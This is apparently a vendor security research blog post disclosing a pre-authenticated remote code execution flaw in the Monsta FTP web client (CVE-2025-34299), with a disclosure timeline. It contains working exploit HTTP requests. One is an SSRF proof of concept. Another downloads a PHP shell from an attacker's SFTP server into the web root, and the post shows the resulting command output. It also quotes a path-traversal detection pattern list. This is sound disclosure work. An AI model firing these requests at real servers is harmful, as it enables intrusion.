What’s That Coming Over The Hill? (Monsta FTP Remote Code Execution CVE-2025-34299)
Happy Friday, friends and.. others.
We’re glad/sorry to hear that your week has been good/bad, and it’s the weekend/but at least it’s almost the weekend!
What’re We Doing Today, Mr Fox?
Today, in a tale that seems all too familar at this point, we begun as innocently as always - to reproduce an N-day in Monsta FTP as part of our emerging threat rapid reaction process we enact across the watchTowr client base.
Yet, somehow, we find ourselves saddled with the reality of discussing another zero-day.
“What on earth is Monsta FTP?” you might say.
Monsta FTP is a web-based FTP client that lets users manage and transfer files directly through a browser on remote servers, with a minimum of 5,000 instances sitting on the Internet.
We say minimum because the default context path of /mftp/ has the likely unintended side effect of masking the exposure of this technology from generic Internet-wide scanners.
With an external (S)FTP server in hand, it's possible to connect to that server and browse its contents through Monsta FTP with the full suite of Web 3/4/5/6/7/8/9.0 functionality available - uploading, downloading AND modifying of files in an easy and user-friendly interface:

With a proud user base ranging from financial institutions, enterprises and over-engineering individual users, Monsta FTP is an interesting target for threat actors - made only better by the fact that it’s written in PHP.

For the love of all things good, we know - using PHP does not inherently make things insecure. We get it.
Go sit in the middle of the highway. That can also be safe, “it just depends”.
Just like PHP.
What The N-Day
Our journey began, initially, with a specific version of Monsta FTP in the “crosshairs” so to speak. Specifically, Monsta FTP 2.10.4 .
Those of you who live/breathe version numbers of enterprise-used software, this version number likely has you frothing at the mouth. For those that aren’t, we will just tell you what the rabid already know - this is not the latest version of Monsta FTP, which at the time of our research was 2.11 published in July 2025.
Wipe the froth away, and let us explain - why are we looking at an older version?
Well, our research shows that a significant portion of the Internet is still not running the latest version (surprise!) and the powers-that-be had some random theory.
Random theories aside, Monsta FTP has a fascinating history of vulnerabilities. Following a gut feeling of general unease, we started our endeavours by determining if previous vulnerabilities had been patched correctly.
Looking through our favourite, shiniest CVE database - three (that’s 3) vulnerabilities stood out, supposedly affecting 2.10.3.
That’s just 1 minor version before our target 2.10.4! (Look at us, maths!)

- CVE-2022-31827 : Monsta FTP v2.10.3 was discovered to contain a Server-Side Request Forgery (SSRF) via the function performFetchRequest at HTTPFetcher.php.
- CVE-2022-27469 : Monsta FTP v2.10.3 was discovered to allow attackers to execute Server-Side Request Forgery (SSRF).
- CVE-2022-27468 : Monsta FTP v2.10.3 was discovered to contain an arbitrary file upload which allows attackers to execute arbitrary code via a crafted file uploaded to the web server.
Cue the usual actions, we quickly deployed two (2) environments;
- One running vulnerable version
2.10.3and - One running our target instance
2.10.4.
Despite the 3 vulnerabilities reported in version 2.10.3, there is little to no change in the code in 2.10.4.
In fact, the only code we were able to identify any change within was purely cosmetic.
Scratching our heads and questioning reality around us, we wondered - could this mean that the vulnerabilities previously highlighted in 2.10.3 actually exist in later versions?
After an exasperated sigh at the general state of the world, and beginning to get the feeling that this was about to become appropriately described as a ‘saga’, we continued.
Within the aforementioned CVEs are a number of references - for example, CVE-2022-31827, the Server-Side Request Forgery vulnerability, references a PoC which when we blindly fired at both 2.10.3 and 2.10.4, worked.. “as expected” and was trivially reproduced:
POST /application/api/api.php HTTP/1.1
Host: {{Hostname}}
Content-Length: 275
Content-Type: application/x-www-form-urlencoded
request={"connectionType":"sftp","configuration":{"host":"{{External-SFTP-Server}}","remoteUsername":"zero","initialDirectory":"/tmp/","authenticationModeName":"Password","password":"123456","port":22},"actionName":"fetchRemoteFile","context":{"source":"http://{{External-Server}}/flag.txt"}}
In the references for CVE-2022-27468 was a link to a YouTube playlist (because, of course?) - but by the time we made it there, the videos had been marked as hidden:

Following a suspicion that the SSRF reporter was the same as the user who reported the RCE vulnerability (and thus likely connected to the mysterious YouTube playlist), we went rummaging through their GitHub account - just in case a fleeting moment involving a compass and morals had hit them and prevented them from publishing a PoC.
But alas, this was not the case.
Given the above and the lack of code changes, we concluded the following:
- Everything is awesome
2.10.3has a reported SSRF and RCE vulnerability2.10.4has the same SSRF and RCE vulnerabilities, unfixed- Everything is still awesome

If Unsure, Apply Bubble Wrap
Armed with concern, we wanted to verify whether these vulnerabilities remained even in the latest version (at the time of research) - version 2.11.
The codebase has undergone substantial changes over this period, and the developers have been clearly busy over the past three years. Alongside major new functionality, we noticed an intriguing addition: a file named inputValidator.php.

This file immediately stood out.
It introduces a series of filtering functions applied across the application, including (but not limited to) explicit checks for path traversal and other input validation mechanisms:
/**
* Check for directory traversal patterns
*/
private static function containsDirectoryTraversal($path) {
$patterns = [
'../', '..\\\\', '..%2f', '..%2F', '..%5c', '..%5C',
'%2e%2e%2f', '%2E%2E%2F', '%2e%2e%5c', '%2E%2E%5C',
'....//....' // Double encoding attempts
];
$lowerPath = strtolower($path);
foreach ($patterns as $pattern) {
if (strpos($lowerPath, $pattern) !== false) {
return true;
}
}
return false;
}
There were also newly introduced functions to validate file paths:
/**
* Validate and sanitize file paths to prevent directory traversal
*/
public static function validateFilePath($path, $allowAbsolute = false) {
if (!is_string($path)) {
throw new InvalidArgumentException("Path must be a string");
}
if (strlen($path) > self::MAX_PATH_LENGTH) {
throw new InvalidArgumentException("Path too long (max " . self::MAX_PATH_LENGTH . " characters)");
}
// Check for null bytes
if (strpos($path, "\\0") !== false) {
throw new InvalidArgumentException("Path contains null bytes");
}
// Check for directory traversal patterns
if (self::containsDirectoryTraversal($path)) {
throw new InvalidArgumentException("Path contains directory traversal sequences");
}
// Validate absolute paths if not allowed
if (!$allowAbsolute && (substr($path, 0, 1) === '/' || preg_match('/^[a-zA-Z]:\\\\\\\\/', $path))) {
throw new InvalidArgumentException("Absolute paths not allowed");
}
// Normalize the path
return PathOperations::normalize($path);
}
We won't list everything added, but rest assured - if it can be validated, a function has been added for it.
These new filtering and validation helpers were subsequently applied throughout the codebase, wherever user input might be handled (and perhaps even in places it's definitely not). All the telltale signs of precise remediation.
At first glance, we assumed these additions might represent (or at least relate to) fixes for the vulnerabilities we’ve been discussing - including the RCE identified as CVE-2022-27468.
Before we went any deeper into the code, we decided to do a quick sanity check: by replaying our known-correct reproducer for the SSRF vulnerability (CVE-2025-31827) against the latest release (2.11).
Surprisingly? Shockingly? Disappointingly? Inevitably? It still worked.
Which raises a question we couldn’t resist asking: did the developers actually know where to patch the vulnerabilities? (This is also the polite version of the question we originally asked).
Or, did they just guess? Perhaps they never received the YouTube video playlist? Perhaps it was actually just Taylor Swift songs, subsequently hidden to confuse us all. And so, perhaps, following our shiny theory, they decided to wrap the entirety of the Monsta FTP in performative bubble wrap and called it a day.
Honestly, at this stage and with what we’ve seen in general, we wouldn’t be shocked.
Either way, the result is the same: the Monsta FTP code base now contains sprawling usage of validation functions that probably make you feel safe and secure - but don’t appear to actually have any material impact on the vulnerabilities they appear to be trying to resolve.

Eventually, We Figured It Out
After picking apart what felt like a web of overall confusion, we were able to make some progress in understanding the vulnerability itself.
request={ <----[0]
"connectionType": "sftp", <----[1]
"configuration": { <----[2]
"host": "{{External-SFTP-Server}}",
"remoteUsername": "zero",
"initialDirectory": "/tmp/", <----[3]
"authenticationModeName": "Password", <----[4]
"password": "123456",
"port": 22
},
"actionName": "fetchRemoteFile", <----[5]
"context": {
"source": "http://{{External-Server}}/flag.txt"
}
}
It all starts with/mftp/application/api/api.php :
- At
[0], we can see that the endpoint accepts a body parameter calledrequest. Specifcially, the application expects a structured JSON blob as a value torequestwhich Monsta FTP parses and uses to dispatch the right function. - At
[1], we specify aconnectionType- telling Monsta FTP whether we’re connecting to an FTP or SFTP server. - At
[2], we have a nested JSON blob calledconfiguration- which contains the details of the external (S)FTP server we want to connect to, includinginitialDirectory(specified at[3]and authenticationModeName (specified at[4]) to allow a user to specify the type of authentication to use. - At
[5], theactionparameter specifies the function we want to use within Monsta FTP once a successful connection is established.
This code, with all available functions, is detailed in the switch statement below:
function validateContextForAction($actionName, $context) {
switch ($actionName) {
case 'uploadFile':
case 'uploadFileToNewDirectory':
case 'uploadArchive':
if (isset($context['remotePath'])) {
$validatedPath = InputValidator::validateFilePath($context['remotePath'], true);
// Additional upload-specific validation
if (isset($context['localPath'])) {
InputValidator::validateFileUpload($context['localPath'], $validatedPath);
}
}
break;
case 'downloadFile':
case 'fetchFile':
case 'getFileContents':
case 'deleteFile':
if (isset($context['remotePath'])) {
InputValidator::validateFilePath($context['remotePath'], true);
}
break;
.. snip ..
}
Eagle-eyed readers will be quick to notice that absolutely everything is wrapped in the usage of InputValidators .
Undeterred, very quickly, one specific switch case value stood out to us: downloadFile.
Validation only really matters if we’re trying to do something nefarious - but is generally going to be wholly useless if we’re using the code as intended.
Unsurprisingly, the downloadFile switch case maps to a function with the same name:
*/
public function downloadFile($transferOperation) {
$this->ensureConnectedAndAuthenticated('DOWNLOAD_OPERATION');
if (!$this->handleDownloadFile($transferOperation))
$this->handleMultiTransferError('DOWNLOAD_OPERATION', $transferOperation);
}
When using Monsta FTP to connect to an SFTP server,handleDownloadFile maps to application/api/file_sources/connection/SFTPConnection.php .
This, our friends, is where things start to look up:
protected function handleDownloadFile($transferOperation) {
$remoteURL = $this->getRemoteFileURL($transferOperation->getRemotePath()); <---- [0]
if(copy($remoteURL, $transferOperation->getLocalPath())) <---- [1]
return true;
// Check if remote file exists to provide better error information
$statResult = stat($remoteURL);
return false; // Copy failed
}
At [0] we can see that getRemoteFileURL is called.
As we can see below, this function effectively joins two strings together - the external SFTP host, and a file path provided in the user-controlled parameter remotePath.
private function getRemoteFileURL($remotePath) {
if ($remotePath == '/')
$remotePath = '/./';
return "ssh2.sftp://" . $this->sftpConnection . $remotePath;
}
At [1] within handleDownloadFile, we can see that the code is fairly simple: the copy function is executed to transfer a file from the remote SFTP server to the location specified by the function getLocalPath.
Surprisingly enough, the value returned by the function getLocalPath is user-controlled - it’s the value of the localPath parameter.
The code below, included for verbosity, shows how the copy function proceeds to move files as instructed.
public function copy($source, $destination) {
$this->ensureConnectedAndAuthenticated('COPY_OPERATION');
.. snip ..
for ($i = 0; $i < sizeof($sources); ++$i) {
$destinationPath = $destinations[$i];
$destinationDir = PathOperations::remoteDirname($destinationPath);
$sourcePathAndItem = $sources[$i];
$sourcePath = $sourcePathAndItem[0];
$sourceItem = $sourcePathAndItem[1];
if ($destinationDir != "" && $destinationDir != "/" &&
array_search($destinationDir, $destinationDirs) === false) {
$destinationDirs[] = $destinationDir;
$this->makeDirectoryWithIntermediates($destinationDir);
}
if ($sourceItem === null)
$this->handleCopy($sourcePath, $destinationPath);
else {
if ($sourceItem->isDirectory()) {
if (array_search($destinationPath, $destinationDirs) === false) {
$destinationDirs[] = $destinationPath;
$this->makeDirectoryWithIntermediates($destinationPath);
}
} else {
$this->handleCopy($sourcePath, $destinationPath);
}
$newPermissions[$destinationPath] = $sourceItem->getNumericPermissions();
}
}
.. snip ..
}
Brilliant, we guess.
Simple Is As Simple Does
If you’re following along at home, you’d be forgiven for thinking this is a cute little theory that looks great on paper but falls apart in practice.
Here’s the idea (shocking, we know):
- Trick Monsta FTP into connecting to our remote SFTP host.
- Have Monsta FTP download a file we control.
- Tell Monsta FTP to write that file to an arbitrary path on the Monsta server.
Cute.
Spoiler: it actually worked.
We spun up a malicious SFTP server, sent a downloadFile request to the Monsta FTP instance, and watched it behave exactly like we feared - it connected, pulled our payload, and wrote it to the specified path.
The following HTTP request illustrates how this would work:
POST /mftp/application/api/api.php HTTP/1.1
Host: {{Nostname}}
Content-Type: application/x-www-form-urlencoded
request={"connectionType":"sftp","configuration":{"host":"{{External-SFTP-IP}}","remoteUsername":"sftpuser","initialDirectory":"/","authenticationModeName":"Password","password":"password111","port":2222},"actionName":"downloadFile","context":{"remotePath":"/shell.php","localPath":"/var/www/html/mftp/index3.php"}}&csrf_token=6e080f63ea774944feedef49eb77c6fffdd8291b9c6561022696b9222942644e
Below, for completeness' sake, we verify that our new file has been successfully written to the specified file path:
GET /mftp/index3.php HTTP/1.1
Host: {{Hostname}}
HTTP/1.1 200 OK
Date: Fri, 05 Sep 2025 09:43:50 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 75
watchTowr uid=33(www-data) gid=33(www-data) groups=33(www-data)
watchTowr
So there we have it - a pre-authenticated Remote Code Execution vulnerability in the latest (at the time) release of Monsta FTP.
While we can’t definitively confirm whether the above vulnerability is identical to CVE-2022-27468, we can confidently state that this vulnerability has been patched as of version 2.11.3, released on 26 August 2025.
As of November 4, 2025, a new CVE has been assigned with an updated description: CVE-2025-34299.
Sigh.
Timeline
| Date | Detail |
|---|---|
| 13th August 2025 | watchTowr discloses WT-2025-0091 to Monsta FTP Development Team |
| 14th August 2025 | Monsta FTP acknowledge the report and will update shortly |
| 15th August 2025 | watchTowr hunts across client attack surfaces for Monsta FTP-related vulnerabilities |
| 26th August 2025 | Monsta FTP release version 2.11.3 which remediates the vulnerability |
| 4th November 2025 | CVE-2025-34299 assigned to WT-2025-0091 |
| 6th November 2025 | watchTowr publishes research |
The research published by watchTowr Labs is just a glimpse into what powers the watchTowr Platform – delivering automated, continuous testing against real attacker behaviour.
By combining Proactive Threat Intelligence and External Attack Surface Management into a single Preemptive Exposure Management capability, the watchTowr Platform helps organisations rapidly react to emerging threats – and gives them what matters most: time to respond.